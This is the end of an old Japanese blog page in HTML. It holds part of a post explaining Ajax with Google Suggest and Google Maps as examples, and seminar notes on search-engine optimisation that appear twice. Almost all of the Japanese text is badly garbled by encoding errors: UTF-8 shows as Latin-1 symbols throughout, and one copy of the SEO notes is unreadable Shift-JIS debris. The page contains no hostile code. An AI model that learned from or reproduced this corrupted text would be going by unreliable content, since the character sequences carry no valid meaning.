ã‚‚ã†å°‘ã—詳ã—ãã¯ã€
 「Ajaxã¨ã¯ã€JavaScriptã§XMLHttpRequestオブジェクトを利用ã—ã¦ã€ãƒšãƒ¼ã‚¸å…¨ä½“ã®èªã¿è¾¼ã¿ã¨ã¯éžåŒæœŸã«ã‚µãƒ¼ãƒã¨é€šä¿¡ã—ã€ãƒ€ã‚¤ãƒŠãƒŸãƒƒã‚¯HTMLを利用ã—ã¦ãƒšãƒ¼ã‚¸ã®å¿…è¦ãªéƒ¨åˆ†ã ã‘ã‚’æ›¸ãæ›ãˆã‚‹Webアプリケーションã®é–‹ç™ºæ‰‹æ³•を指ã™ã€‚ã€
â– Ajaxã¯Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã®æ³£ã所を解消ã™ã‚‹ã‹ï¼Ÿ
Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã®æ³£ã所ã¨ã¯ã€å‹•çš„ãªãƒšãƒ¼ã‚¸ã§è¡¨ç¤ºå†…å®¹ã‚’æ›¸ãæ›ãˆã‚‹ãŸã‚ã«ã‚µãƒ¼ãƒã¨ã®é€šä¿¡ãŒå¿…è¦ã¨ãªã‚‹ç‚¹ã€‚
ã¤ã¾ã‚Šã€éƒµä¾¿ç•ªå·ã‹ã‚‰ä½æ‰€ã‚’表示ã™ã‚‹WebアプリケーションãŒã‚ã‚‹ã¨ã™ã‚‹ã¨ã€é€šå¸¸ã®å‡¦ç†ã§ã¯ä¸‹è¨˜ã®ã‚ˆã†ã«ãªã‚‹ã€‚
 郵便番å·å…¥åŠ›ã€€â†’ã€€å…¥åŠ›ã•れãŸéƒµä¾¿ç•ªå·ã‚’サーãƒã«é€ä¿¡ã€€â†’ サーãƒã§ã¯å¯¾å¿œã™ã‚‹ä½æ‰€ã‚’å–得 → å–å¾—ã—ãŸä½æ‰€ã‚’è¨å®šã—ã¦ãƒšãƒ¼ã‚¸ã‚’æ›´æ–°
æ“作ã™ã‚‹å´ã‹ã‚‰è¦‹ã‚‹ã¨ã€éƒµä¾¿ç•ªå·ã‚’入力ã—ãŸå¾Œã€é€ä¿¡ãƒœã‚¿ãƒ³ã‚’押ã—ã¦ã€ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ãƒãƒ¼ã‚’見ãªãŒã‚‰ã€ã‚µãƒ¼ãƒã‹ã‚‰æ–°ã—ã„ページãŒè¿”ã£ã¦ãã‚‹ã®ã‚’å¾…ã¤å¿…è¦ãŒã‚ã£ãŸã€‚
â– Ajaxã¨å¾“æ¥ã®ãƒªãƒƒãƒã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã¨ã®é•ã„
Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã®æ³£ã所を解消ã™ã‚‹ãŸã‚ã«ã€ã“れã¾ã§ã€€Curl,MacromediaFlexãªã©ã®ãƒªãƒƒãƒã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã¨ã„ã†è§£æ±ºç–ãŒè¬›ã˜ã‚‰ã‚Œã¦ããŸã€‚ã¨ã“ã‚ãŒã€ã“ã®ãƒªãƒƒãƒã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã‚’使ã†ã«ã¯ã€ç‰¹å®šã®ã‚½ãƒ•トウェアやプラグインã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ãŒå¿…è¦ã¨ãªã‚Šã€ç’°å¢ƒã«ä¾å˜ã—ãªã„(orä¾å˜åº¦ãŒå°‘ãªã„)ã¨ã„ã†ã€Webアプリケーション本æ¥ã®ãƒ¡ãƒªãƒƒãƒˆã‚’帳消ã—ã«ã—ã‹ããªã„ã‚‚ã®ã ã£ãŸã€‚
Ajaxã¯ãƒ—ラグインを必è¦ã¨ã›ãšã«ã€ã‚µãƒ¼ãƒã¨ã®éžåŒæœŸé€šä¿¡ã‚’実ç¾ã—ã¦ã„る。ã“れã¯å‡„ã„ã“ã¨ã§ã™ã€‚Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒé–‹ã‘ã¦ããŸã‹ã‚‚ã—れãªã„。
â– Ajaxã®å®Ÿä¾‹
AjaxãŒæ³¨ç›®ã‚’集ã‚ã‚‹è¦å› ã¨ãªã£ãŸ Googleã€€ã®æ–°ã‚µãƒ¼ãƒ“ス㧠Ajaxを体験ã™ã‚‹ã€‚
 Google Suggest <a href="http://www.google.co.jp/webhp?complete=1&hl=ja" target="_blank">Googleサジェスト</a>
 入力ã—ãŸã‚ーワードã«å¯¾å¿œã™ã‚‹ã‚ーワードãŒãƒ—ルダウン表示ã•れã¾ã™ã€‚
 →入力ã—ãŸå€¤ã‚’å…ƒã«ã‚µãƒ¼ãƒã¨ã®é€šä¿¡ã‚’行ã„ã€çµæžœã‚’ã»ã¼ãƒªã‚¢ãƒ«ã‚¿ã‚¤ãƒ ã«åæ˜ ã—ã¦ã„る ã¨ã„ã†ã“ã¨ã€‚
 Google Maps <a href="http://maps.google.com/maps" target="_blank">Google Maps</a>
 移動ã™ã‚‹ã¨ã‚·ãƒ¼ãƒ レスã«åœ°å›³ãŒè¡¨ç¤ºã•れる。
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 19:37</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webajax.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000067"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/63"
dc:title="ŒŸõƒGƒ“ƒWƒ“‘ÎôuK‰ïŽQ‰Á‹L˜^"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000067"
dc:subject="ƒEƒFƒuuÀ•SEO"
dc:description="〓〓〓〓Ц〓Î〓〓〓〓〓〓〓〓ÇÓ×Óю〓〓ϋ〓〓〓 〓〓〓〓〓〓Üôç〓〓ÚÓ..."
dc:creator="expss"
dc:date="2005-08-09T17:30:16+09:00" />
</rdf:RDF>
-->
<h2 class="date-header">2005年08月09日</h2>
<a id="a000067"></a>
<div class="entry" id="entry-67">
<h3 class="entry-header">ŒŸõƒGƒ“ƒWƒ“‘ÎôuK‰ïŽQ‰Á‹L˜^</h3>
<div class="entry-content">
<div class="entry-body">
’†¬Šé‹Æf’fŽm‰Á“¡’‰GŽ‚ÌŒŸõƒGƒ“ƒWƒ“‘ÎôuK‰ï‹L˜^
‚WŒŽ‚W“ú¼–{ƒ\ƒtƒgŠJ”ƒZƒ“ƒ^[‚É‚Ä
u‰SŽÒ‚É—D‚µ‚¢ŒŸõƒGƒ“ƒWƒ“‘Îô@Vol3-2v
¡‰Á“¡æ¶‚ÌŽÀŽ{‚µ‚½‘Îô‚S‚Â
‚PD–ˆ“úXV‚·‚é
@‚s‚n‚o‚Ì“ú•tXV
@‘æ“ñŠK‘wˆÈ‰º‚Ì–ˆ“úXV
‚QDƒuƒƒO‚ÌÝ’u
@“à•”ƒuƒƒO@‚c‚’D‚a‚Œ‚‚‡
@ƒy[ƒW‚Ì‘—ÊŒø‰Ê@
@–ˆ“úXV‚ª—eˆÕ‚É
@ƒgƒ‰ƒbƒNƒoƒbƒN‚ÌŠl“¾AƒŠƒ“ƒN‚ÌŠl“¾
‚RD‚b‚r‚r‚Ì“±“üA‚v‚R‚b‚Ö‚Ì€‹’
@‚g‚o‚Ì®Œ`‹Zp‚b‚r‚r
‚SDƒL[ƒ[ƒhƒAƒhƒoƒCƒXƒc[ƒ‹‚ÌŠˆ—p
@ƒƒ“ƒOƒe[ƒ‹@bB@¬”~
¡‚r‚d‚n‚ÌŸŽÒ‚ÍŒŸõƒGƒ“ƒWƒ“‚ÌÝŒvŽv‘z‚ð—‰ð‚·‚邱‚Æ
‚PD‚d‚Ž‚‡‚Œ‚‰‚“‚ˆ@‚v‚’‚‰‚”‚‰‚Ž‚‡@
@¶ã—Dæ
‚QDƒZƒ}ƒ“ƒeƒBƒbƒN@
@•¶‚Ì’†‚Å’PŒê‚Æ’PŒê‚ÌŠÖŒW‚ª–¾Šm‚É’è‹`‚³‚ê‚Ä‚¢‚é‚©
‚RD‚c‚‚ƒ‚”‚‚’
@\‘¢“I‚ȃRƒ“ƒeƒ“ƒc
¡‚f‚‚‚‡‚Œ‚…‘Îô
‚PDƒy[ƒWƒ‰ƒ“ƒN
@‘¼l‚©‚ç‚ÌƒŠƒ“ƒN‚ð•]‰¿
‚QDŒŸõƒGƒ“ƒWƒ“‚m‚‚P
@‰SŽÒAÁ”ïŽÒ‚Í‚x‚r‚sE‚l‚r‚m
¡‚x‚r‚s‘Îô
‚PD‚x‚‚ˆ‚‚‚v‚…‚‚ƒ‰ƒ“ƒLƒ“ƒO
@’†g‚ªƒXƒbƒLƒŠ‚µ‚Ä‚¢‚é‚©@‚b‚r‚rA“à“I—vˆö
@http://www.su-jine.com/sujine_seo_yahoo_web_rank.php
‚QDƒfƒBƒŒƒNƒgƒŠ“o˜^‚ð‹}‚°
@‚T‚QC‚T‚O‚O‰~AR¸Œµ‚µ‚‚È‚Á‚Ä‚¢‚éAƒŠƒ“ƒNæA‰ü‘P‚R‚O“úˆÈ“à
‚RD‹ï‘Ì“I‘Îô
@–ˆ“úXV
@ƒy[ƒWˆê’v
@’PŒêŠÔ‚Ì‹——£Ae˜a«
@ƒy[ƒW“o˜^
@‚l‚…‚”‚ƒ^ƒO‚ð“Ç‚ñ‚Å‚¢‚é
‚SDƒƒ{ƒbƒg„‰ñ“o˜^‚ª‰Â”\‚É
http://submit.search.yahoo.co.jp/add/request
¡‚l‚r‚m‘Îô
@‘±‚
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 17:30</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/gwukql.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000182"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/177"
dc:title="検索エンジン対ç–講習会å‚åŠ è¨˜éŒ²"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000182"
dc:subject="ウェブ講座&SEO"
dc:description="ä¸å°ä¼æ¥è¨ºæ–å£«åŠ è—¤å¿ å®æ°ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³å¯¾ç–講習会記録 ï¼˜æœˆï¼˜æ—¥æ¾æœ¬ã‚½ãƒ•ト開発セン..."
dc:creator="expss"
dc:date="2005-08-09T17:30:16+09:00" />
</rdf:RDF>
-->
<a id="a000182"></a>
<div class="entry" id="entry-182">
<h3 class="entry-header">検索エンジン対ç–講習会å‚åŠ è¨˜éŒ²</h3>
<div class="entry-content">
<div class="entry-body">
ä¸å°ä¼æ¥è¨ºæ–å£«åŠ è—¤å¿ å®æ°ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³å¯¾ç–講習会記録
ï¼˜æœˆï¼˜æ—¥æ¾æœ¬ã‚½ãƒ•ト開発センターã«ã¦
「åˆå¿ƒè€…ã«å„ªã—ã„æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³å¯¾ç– Vol3-2ã€
â– åŠ è—¤å…ˆç”Ÿã®å®Ÿæ–½ã—ãŸå¯¾ç–ï¼”ã¤
1.毎日更新ã™ã‚‹
ã€€ï¼´ï¼¯ï¼°ã®æ—¥ä»˜æ›´æ–°
ã€€ç¬¬äºŒéšŽå±¤ä»¥ä¸‹ã®æ¯Žæ—¥æ›´æ–°
2.ブãƒã‚°ã®è¨ç½®
 内部ブãƒã‚°ã€€ï¼¤ï½’.Blï½ï½‡
 ページã®å¢—é‡åŠ¹æžœã€€
 毎日更新ãŒå®¹æ˜“ã«
 トラックãƒãƒƒã‚¯ã®ç²å¾—ã€ãƒªãƒ³ã‚¯ã®ç²å¾—
3.CSSã®å°Žå…¥ã€ï¼·ï¼“ï¼£ã¸ã®æº–æ‹
ã€€ï¼¨ï¼°ã®æ•´å½¢æŠ€è¡“ï¼ï¼£ï¼³ï¼³
4.ã‚ーワードアドãƒã‚¤ã‚¹ãƒ„ãƒ¼ãƒ«ã®æ´»ç”¨
 ãƒãƒ³ã‚°ãƒ†ãƒ¼ãƒ«ã€€ç”²å·žã€€å°æ¢…
■SEOã®å‹è€…ã¯æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã®è¨è¨ˆæ€æƒ³ã‚’ç†è§£ã™ã‚‹ã“ã¨
1.English Writing 
 左上優先
2.セマンティック 
 文ã®ä¸ã§å˜èªžã¨å˜èªžã®é–¢ä¿‚ãŒæ˜Žç¢ºã«å®šç¾©ã•れã¦ã„ã‚‹ã‹
3.Dï½ï½ƒï½”ï½ï½’
ã€€æ§‹é€ çš„ãªã‚³ãƒ³ãƒ†ãƒ³ãƒ„
â– ï¼§ï½ï½ï½‡ï½Œï½…対ç–
1.ページランク
 他人ã‹ã‚‰ã®ãƒªãƒ³ã‚¯ã‚’評価
2.検索エンジンNï½ï¼‘
 åˆå¿ƒè€…ã€æ¶ˆè²»è€…ã¯ï¼¹ï¼³ï¼´ãƒ»ï¼ï¼³ï¼®
■YST対ç–
1.Yï½ï½ˆï½ï½ï¼·ï½…bランã‚ング
 ä¸èº«ãŒã‚¹ãƒƒã‚リã—ã¦ã„ã‚‹ã‹ã€€ï¼£ï¼³ï¼³ã€å†…çš„è¦å›
 http://www.su-jine.com/sujine_seo_yahoo_web_rank.php
2.ディレクトリ登録を急ã’
 52,5ï¼ï¼å††ã€å¯©æŸ»å޳ã—ããªã£ã¦ã„ã‚‹ã€ãƒªãƒ³ã‚¯å…ˆã€æ”¹å–„ï¼“ï¼æ—¥ä»¥å†…
3.具体的対ç–
 毎日更新
 ページ一致
 å˜èªžé–“ã®è·é›¢ã€è¦ªå’Œæ€§
 ページ登録
 ï¼ï½…ï½”ï½ã‚¿ã‚°ã‚’èªã‚“ã§ã„ã‚‹
4.ãƒãƒœãƒƒãƒˆå·¡å›žç™»éŒ²ãŒå¯èƒ½ã«
http://submit.search.yahoo.co.jp/add/request
â– ï¼ï¼³ï¼®å¯¾ç–
 続ã
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 17:30</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/post_2.html">パーマリンク</a>
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</html>